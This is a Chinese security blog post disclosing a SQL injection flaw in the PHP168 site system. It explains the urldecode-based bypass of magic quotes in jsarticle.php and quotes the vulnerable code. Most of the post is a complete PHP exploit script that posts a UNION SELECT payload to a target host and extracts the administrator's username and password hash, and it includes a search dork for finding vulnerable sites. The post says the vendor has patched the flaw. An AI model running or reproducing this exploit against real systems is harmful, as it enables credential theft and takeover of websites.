PHP 168 SQL注射漏洞

    [晴 July 12, 2008 19:24 | by !4p47hy ]
来源:80 sec
漏洞说明:历经数年开发与完善的”PHP168整站系统”是国内最早的多功能模块化网站管理软件系统;不仅适合于建设一般的企业、政府、学校、个人等小型网站,同时也适合于建设地区门户、行业门户、收费网站等大中型网站,80sec在其产品中发现了一个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。

漏洞厂商:http://www.php168.com

漏洞解析:在系统的jsarticle.php中,使用了urldecode用来解码用户提交的数据,但是在使用该函数之后并没有做进一步的有效性验证,从而导致精心构造的数据可以饶过系统的过滤以及php的Magic Quote保护,漏洞部分代码如下:
elseif($type=='like')
{

$SQL.=" AND aid!='$id' ";

if(!$keyword)
{
extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article WHERE aid='$id'"));
}

if($keyword){
$SQL.=" AND ( ";
$keyword=urldecode($keyword);
$detail=explode(" ",$keyword);
unset($detail2);
foreach( $detail AS $key=>$value){
$detail2[]=” BINARY title LIKE ‘%$value%’ “;
}
$str=implode(” OR “,$detail2);
$SQL.=” $str ) “;
}else{
$SQL.=” AND 0 “;
}

$ORDER=’ list ‘;
}

if(!$webdb[viewNoPassArticle]){
$SQL.=’ AND yz=1 ‘;
}

$SQL=” WHERE $SQL ORDER BY $ORDER DESC LIMIT $rows”;
$which=’*';
$listdb=list_article($SQL,$which,$leng);

keyword被urldecode然后进入list_article函数,提交%2527将导致一个’进入SQL查询

在artic_function.php中的list_article函数如下
function list_article($SQL,$which='*',$leng=40){
global $db,$pre;
$query=$db->query("SELECT $which FROM {$pre}article $SQL");
while( $rs=$db->fetch_array($query) ){
if($rs[mid]){
$_rss=$db->get_one(”SELECT * FROM {$pre}article_content_{$rs[mid]} WHERE aid=’$rs[aid]‘ LIMIT 1″);
$_rss && $rs=$rs+$_rss;
}
$rs[content]=@preg_replace(’/<([^<]*)>/is’,”",$rs[content]); //把HTML代码过滤掉
//如果文章有短标题,将以此显示在文章列表
if($rs[smalltitle]){
$title=$rs[smalltitle];
}else{
$title=$rs[title];
}
$rs[title]=get_word($rs[full_title]=$title,$leng);
if($rs[titlecolor]||$rs[fonttype]){
$titlecolor=$rs[titlecolor]?”color:$rs[titlecolor];”:”;
$font_weight=$rs[fonttype]==1?’font-weight:bold;’:”;
$rs[title]=”$rs[title]“;
}
$rs[posttime]=date(”Y-m-d”,$rs[full_posttime]=$rs[posttime]);
if($rs[picurl]){
$rs[picurl]=tempdir($rs[picurl]);
}
$listdb[]=$rs;
}
return $listdb;
}

直接进入SQl查询,导致注射漏洞的产生。

漏洞利用:80sec提供攻击测试代码如下:
#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Php168 v2008 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168 V2008"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to php168
Example:
php '.$argv[0].' localhost /php168/
+---------------------------------------------------------------------------+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match('/([a-z0-9]+)_article/', $resp, $pre);

if ($pre)
$resp = send();
else
exit("Exploit Failed!\n");

preg_match('/content_([\S]+)\|([a-z0-9]{32})/', $resp, $pwd);

if ($pwd)
exit("Expoilt Success!\nadmin:\t$pwd[1]\nPassword(md5):\t$pwd[2]\n");
else
exit("Exploit Failed!\n");

function send()
{
global $host, $path, $pre;

if ($pre)
$cmd = 'type=like&keyword=%2527)/**/UNION/**/SELECT/**/1,1,1,1,CONCAT(username,%2527|%2527,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/'.$pre[1].'_members/**/WHERE/**/uid=1%23';
else
$cmd = 'type=like&keyword=%2527';

$message = "POST ".$path."jsarticle.php HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>


漏洞状态:已经通知php168官方,官方已经发布补丁。

本站内容均为原创,转载请务必保留署名与链接!
PHP 168 SQL注射漏洞:http://www.80sec.com/php168-sql-injetion.html
Bug&Exp | Comments(0) | Trackbacks(0) | Reads(5993)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive